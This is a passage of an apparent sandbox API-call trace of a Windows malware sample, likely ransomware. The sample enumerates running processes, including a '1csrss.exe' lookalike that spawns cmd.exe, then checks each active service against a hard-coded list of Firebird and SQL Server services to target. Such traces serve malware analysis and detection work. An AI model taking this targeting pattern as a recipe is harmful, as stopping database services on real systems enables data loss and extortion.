[0112.353] lstrlenW (lpString="msoia.exe") returned 9 [0112.353] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0112.353] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0112.353] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0112.354] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0112.354] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0112.355] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0112.355] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0112.356] lstrlenW (lpString="arc obviously.exe") returned 17 [0112.357] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0112.357] lstrlenW (lpString="scholars.exe") returned 12 [0112.357] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0112.358] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0112.358] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0112.359] lstrlenW (lpString="organizing.exe") returned 14 [0112.359] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0112.360] lstrlenW (lpString="campus.exe") returned 10 [0112.360] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0112.361] lstrlenW (lpString="mug.exe") returned 7 [0112.361] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0112.362] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0112.362] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0112.363] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0112.363] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0112.364] lstrlenW (lpString="powers mixture.exe") returned 18 [0112.364] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0112.373] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0112.374] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0112.375] lstrlenW (lpString="bachelor.exe") returned 12 [0112.375] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0112.376] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0112.376] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0112.377] lstrlenW (lpString="indication wage paying.exe") returned 26 [0112.377] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0112.378] lstrlenW (lpString="thee pub emission.exe") returned 21 [0112.379] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0112.380] lstrlenW (lpString="dllhost.exe") returned 11 [0112.380] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0112.381] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0112.381] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0112.382] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0112.382] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0112.383] lstrlenW (lpString="upgrading.exe") returned 13 [0112.383] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0112.384] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0112.384] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0112.385] lstrlenW (lpString="russell.exe") returned 11 [0112.385] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0112.558] lstrlenW (lpString="conhost.exe") returned 11 [0112.558] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0112.559] lstrlenW (lpString="conhost.exe") returned 11 [0112.559] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.560] lstrlenW (lpString="svchost.exe") returned 11 [0112.560] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0112.561] lstrlenW (lpString="1csrss.exe") returned 10 [0112.562] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0112.563] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0112.563] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0112.564] lstrlenW (lpString="conhost.exe") returned 11 [0112.564] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0112.565] lstrlenW (lpString="cmd.exe") returned 7 [0112.565] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0112.566] lstrlenW (lpString="conhost.exe") returned 11 [0112.566] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.567] lstrlenW (lpString="svchost.exe") returned 11 [0112.567] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0112.568] lstrlenW (lpString="mode.com") returned 8 [0112.568] Process32NextW (in: hSnapshot=0x378, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0112.568] CloseHandle (hObject=0x378) returned 1 [0112.568] Sleep (dwMilliseconds=0x1f4) [0113.622] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eeef8 [0113.623] EnumServicesStatusExW (in: hSCManager=0x5eeef8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0113.623] GetLastError () returned 0xea [0113.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d5a) returned 0x607720 [0113.623] EnumServicesStatusExW (in: hSCManager=0x5eeef8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x607720, cbBufSize=0x1d5a, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x607720, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0113.624] CloseServiceHandle (hSCObject=0x5eeef8) returned 1 [0113.624] lstrlenW (lpString="Appinfo") returned 7 [0113.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0113.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0113.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0113.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0113.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0113.625] lstrlenW (lpString="AppXSvc") returned 7 [0113.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0113.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0113.625] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0113.625] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0113.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0113.625] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0113.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0113.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0113.625] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0113.625] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0113.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0113.625] lstrlenW (lpString="Audiosrv") returned 8 [0113.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0113.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0113.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0113.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0113.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0113.625] lstrlenW (lpString="BFE") returned 3 [0113.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0113.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0113.625] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0113.625] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0113.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0113.625] lstrlenW (lpString="BITS") returned 4 [0113.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0113.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0113.625] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0113.625] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0113.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0113.626] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0113.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0113.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0113.626] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0113.626] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0113.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0113.626] lstrlenW (lpString="CDPSvc") returned 6 [0113.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0113.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0113.626] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0113.626] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0113.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0113.626] lstrlenW (lpString="ClickToRunSvc") returned 13 [0113.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0113.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0113.626] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0113.626] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0113.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0113.626] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0113.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0113.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0113.626] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0113.626] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0113.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0113.626] lstrlenW (lpString="CryptSvc") returned 8 [0113.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0113.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0113.626] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0113.626] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0113.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0113.626] lstrlenW (lpString="DcomLaunch") returned 10 [0113.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0113.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0113.627] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0113.627] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0113.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0113.627] lstrlenW (lpString="DeviceAssociationService") returned 24 [0113.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0113.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0113.627] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0113.627] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0113.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0113.627] lstrlenW (lpString="Dhcp") returned 4 [0113.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0113.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0113.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0113.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0113.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0113.627] lstrlenW (lpString="Dnscache") returned 8 [0113.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0113.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0113.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0113.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0113.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0113.627] lstrlenW (lpString="DoSvc") returned 5 [0113.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0113.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0113.627] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0113.627] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0113.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0113.627] lstrlenW (lpString="DPS") returned 3 [0113.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0113.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0113.627] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0113.627] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0113.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0113.627] lstrlenW (lpString="DusmSvc") returned 7 [0113.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0113.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0113.628] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0113.628] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0113.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0113.628] lstrlenW (lpString="EventLog") returned 8 [0113.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0113.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0113.628] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0113.628] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0113.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0113.628] lstrlenW (lpString="EventSystem") returned 11 [0113.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0113.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0113.628] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0113.628] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0113.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0113.628] lstrlenW (lpString="FontCache") returned 9 [0113.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0113.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0113.628] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0113.628] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0113.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0113.628] lstrlenW (lpString="gpsvc") returned 5 [0113.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0113.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0113.628] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0113.628] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0113.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0113.628] lstrlenW (lpString="iphlpsvc") returned 8 [0113.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0113.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0113.628] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0113.628] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0113.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0113.629] lstrlenW (lpString="KeyIso") returned 6 [0113.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0113.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0113.629] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0113.629] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0113.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0113.629] lstrlenW (lpString="LanmanServer") returned 12 [0113.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0113.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0113.629] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0113.629] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0113.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0113.629] lstrlenW (lpString="LanmanWorkstation") returned 17 [0113.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0113.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0113.629] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0113.629] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0113.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0113.629] lstrlenW (lpString="lfsvc") returned 5 [0113.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0113.629] lstrcmpiW 